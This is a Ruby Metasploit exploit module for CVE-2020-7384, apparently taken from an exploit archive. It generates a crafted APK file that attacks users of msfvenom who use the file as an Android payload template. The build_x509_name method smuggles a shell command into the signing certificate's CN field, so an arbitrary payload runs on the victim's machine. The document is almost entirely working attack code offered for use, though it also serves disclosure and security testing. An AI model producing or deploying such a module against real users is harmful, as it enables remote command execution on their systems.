Rapid7 Metasploit Framework msfvenom APK Template Command Injection Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip/jar'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rapid7 Metasploit Framework msfvenom APK Template Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability in Metasploit Framework's msfvenom
          payload generator when using a crafted APK file as an Android payload template. Affects
          Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this
          module is a relatively empty yet valid-enough APK file. To trigger the vulnerability,
          the victim user should do the following:

          msfvenom -p android/<...> -x <crafted_file.apk>
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Justin Steven'   # @justinsteven
          ],
        'References' =>
          [
            ['URL', 'https://github.com/justinsteven/advisories/blob/master/2020_metasploit_msfvenom_apk_template_cmdi.md'],
            ['CVE', '2020-7384'],
          ],
        'DefaultOptions' =>
          {
            'DisablePayloadHandler' => true
          },
        'Arch' => ARCH_CMD,
        'Platform' => 'unix',
        'Payload' => {
            'BadChars' => "\x22\x2c\x5c\x0a\x0d"
        },
        'Targets' => [[ 'Automatic', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2020-10-29'
      )
    )
    register_options([
      OptString.new('FILENAME', [true, 'The APK file name', 'msf.apk'])
    ])
  end

  def build_x509_name
    name = "CN=';(#{payload.encoded}) >&- 2>&- & #"
    OpenSSL::X509::Name.parse(name)
  end

  def generate_signing_material
    key = OpenSSL::PKey::RSA.new(2048)
    cert = OpenSSL::X509::Certificate.new
    cert.version = 2
    cert.serial = 1
    cert.subject = cert.issuer = build_x509_name
    cert.public_key = key.public_key
    cert.not_before = Time.now
    # FIXME: this will break in the year 2037 on 32-bit systems
    cert.not_after = cert.not_before + 1.year
    # Self-sign the certificate, otherwise the victim's keytool gets unhappy
    cert.sign(key, OpenSSL::Digest::SHA256.new)

    [cert, key]
  end

  def exploit
    print_warning('Warning: bash payloads are unlikely to work') if datastore['PAYLOAD'].include?('bash')
    apk = Rex::Zip::Jar.new
    apk.build_manifest
    cert, key = generate_signing_material
    apk.sign(key, cert)
    data = apk.pack
    file_create(data)
  end
end